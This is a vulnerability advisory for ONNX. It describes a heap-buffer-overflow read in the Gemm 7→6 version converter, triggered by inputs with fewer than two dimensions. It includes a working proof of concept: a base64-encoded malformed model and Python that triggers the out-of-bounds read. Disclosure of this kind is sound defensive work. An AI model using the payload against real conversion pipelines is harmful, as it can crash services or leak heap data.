Advisoriesby IbisONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape
Summary
Heap-buffer-overflow READ (16 bytes) in Gemm_7_6::adapt_gemm_7_6() (onnx/version_converter/adapters/gemm_7_6.h:41) when ConvertVersion() processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses B_shape[1] without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.
Details
The Gemm 7→6 downgrade adapter reads input shapes without bounds checking:
```cpp
// gemm_7_6.h:26-42
const auto& A_shape = inputs[0]->sizes(); // May have < 2 elements
const auto& B_shape = inputs[1]->sizes(); // May have < 2 elements
if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {
MN.emplace_back(B_shape[0]); // OOB if B has 0 dims
} else {
MN.emplace_back(B_shape[1]); // OOB if B has < 2 dims ← CRASH
}
`
The PoC has input B with shape [28] (1 dimension). B_shape has 1 element. Accessing B_shape[1] reads 16 bytes past the std::vector<Dimension> internal storage into adjacent heap memory.
The same unchecked pattern applies to A_shape[0] and A_shape[1] at lines 34 and 36.
Entry point: onnx.version_converter.convert_version(model, 6) , different from the InferShapes bugs reported in separate advisories. This triggers during opset downgrade (7→6).
PoC
```python
import base64
import onnx
from onnx import version_converter...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| onnx PyPI | >= 1.3.0, < 1.22.0 | 1.22.0 |
Details and references
### Summary Heap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation. ### Details The Gemm 7→6 downgrade adapter reads input shapes without bounds checking: ```cpp // gemm_7_6.h:26-42 const auto& A_shape = inputs[0]->sizes(); // May have < 2 elements const auto& B_shape = inputs[1]->sizes(); // May have < 2 elements if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) { MN.emplace_back(B_shape[0]); // OOB if B has 0 dims } else { MN.emplace_back(B_shape[1]); // OOB if B has < 2 dims ← CRASH } ``` The PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector<Dimension>` internal storage into adjacent heap memory. The same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36. **Entry point:** `onnx.version_converter.convert_version(model, 6)` , different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6). ### PoC ```python import base64 import onnx from onnx import version_converter poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH" model = onnx.load_from_string(base64.b64decode(poc_b64)) # Triggers heap-buffer-overflow in Gemm_7_6 adapter version_converter.convert_version(model, 6) ``` 186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`. ### Impact Any application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent , the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.
- CVSS 3.1
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-125
- Also known as
- CVE-2026-63632, PYSEC-2026-3587
More ONNX advisories
All ONNX
ONNX: Out-of-bounds read in ConvTranspose shape inference via undersized weight rankCVE-2026-115920fixed in 1.22.0ONNX: Denial of service via unchecked expansion of packed sub-byte tensors in ONNX Python APIsCVE-2026-115922fixed in 1.22.0ONNX: Null Pointer Dereference in ScanInferenceFunction Due to Missing Required AttributeCVE-2026-115921fixed in 1.22.0ONNX: Out-of-Bounds Read in RNN/GRU/LSTM Shape Inference (Old Opsets, Missing Rank Check)CVE-2026-115919fixed in 1.22.0ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)CVE-2026-44512fixed in 1.22.0ONNX: TOCTOU arbitrary file read/write in save_external_datCVE-2026-49114fixed in 1.21.0